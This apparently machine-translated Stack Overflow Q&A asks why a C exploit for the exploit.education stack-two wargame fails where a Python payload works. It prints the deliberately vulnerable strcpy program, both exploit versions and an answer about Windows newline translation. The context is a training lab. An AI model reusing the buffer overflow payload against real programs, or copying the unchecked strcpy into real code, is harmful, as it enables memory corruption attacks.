用不同语言编写的相同堆栈溢出漏洞利用不会给出相同的结果

Same stack overflow exploit written in different languages doesn't give same results

我正在用 C 编写针对 stack-two of exploit.education 的堆栈溢出攻击。
stack-two程序的一个小修改版本如下:

/*
 * phoenix/stack-two, by https://exploit.education
 * The aim is to change the contents of the changeme variable to 0x0d0a090a
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(int argc, char **argv) {
    struct {
        char buffer[64];
        volatile int changeme;
    } locals;

    printf("Welcome to stack-two, brought to you by https://exploit.education\n");

    char *ptr = getenv("ExploitEducation");
    if (ptr == NULL) {
        fprintf(stderr, "please set the ExploitEducation environment variable\n");
        exit(1);
    }

    locals.changeme = 0;
    strcpy(locals.buffer, ptr);

    if (locals.changeme == 0x0d0a090a) {
        puts("Well done, you have successfully set changeme to the correct value");
    } else {
        printf("Almost! changeme is currently 0x%08x, we want 0x0d0a090a\n",
            locals.changeme);
    }

    exit(0);
}

我的漏洞利用如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef unsigned int u32;

int main() {
    const int size = 100;
    char buffer[size];

    memset(buffer, 0, size);  // Zero out the buffer
    memset(buffer, 'x', 64);  // Add 64 'x' to the buffer

    u32 changeme = 0x0d0a090a;
    memcpy(buffer + 64, &changeme, 4);  // appending 0x0d0a090a to buffer

    // Printing the buffer
    for (int i = 0; i < 68; ++i) {
        printf("%c", buffer[i]);
    }

    // Writing the buffer into a file for testing purpose.
    FILE *fd = fopen("bb.bin", "wb");
    fwrite(buffer, 1, 68, fd);
    fclose(fd);
}

然后如下设置ExploitEducation环境变量:

ExploitEducation=$(./a.exe)  # a.exe is the exploit binary

这应该有效,但是当我执行 stack-two 时,输出是:

Welcome to level 2, brought to you by https://exploit.education
Almost! changeme is currently 0x0d090a0d, we want 0x0d0a090a

当我进一步调查并看到 bb.bin 的 hexdump 时,它是正确的,漏洞利用应该起作用。
bb.bin的hexdump如下:

00000000: 7878 7878 7878 7878 7878 7878 7878 7878  xxxxxxxxxxxxxxxx
00000010: 7878 7878 7878 7878 7878 7878 7878 7878  xxxxxxxxxxxxxxxx
00000020: 7878 7878 7878 7878 7878 7878 7878 7878  xxxxxxxxxxxxxxxx
00000030: 7878 7878 7878 7878 7878 7878 7878 7878  xxxxxxxxxxxxxxxx
00000040: 0a09 0a0d                                ....

那么,为什么漏洞利用不起作用?为什么此漏洞利用的 python 版本(如下所示)有效而 C 版本无效?

有效利用

我有一个用 python 编写的有效漏洞利用程序。

import sys

sys.stdout.buffer.write(b"x" * 64 + b"\x0a\x09\x0a\x0d")

编辑:
正如伦丁建议的那样,我尝试改变 u32 changeme = 0x0d0a090a;uint8_t changeme[] = { 0x0d, 0x0a, 0x09, 0x0a };,但没有成功。
我也试过玩弄字节顺序和用于布置字节的 C 语言结构,但没有任何效果:(.

问题出在行尾。 "\x0d\x0a" 是 Windows-style 行结尾 ("\r\n"),"\x0a" 是 Linux-style 行结尾 ("\n")。 C 假设它比你更了解并将 Linux-style "\n" 翻译成 Windows-style "\r\n"。如果您以 "w" 模式而不是 "wb" 模式打开 bb.bin 文件,您应该会看到同样的事情发生。

那么解决办法就是把stdout改成二进制模式。您可以通过 reopeningfreopen(NULL,"wb",stdout);stdout 流来执行此操作。为了保险起见,你也可以避开printf,像fwrite(buffer,1,68,stdout);.

一样直接写到stdout

作为一个更一般的提示,使用像 xxd(如 ./a.exe | xxd)这样的实用程序直接检查输出可以帮助您直接查看您真正感兴趣的输出,而不是意外修复你的调试代码中的问题就像你在这里所做的那样。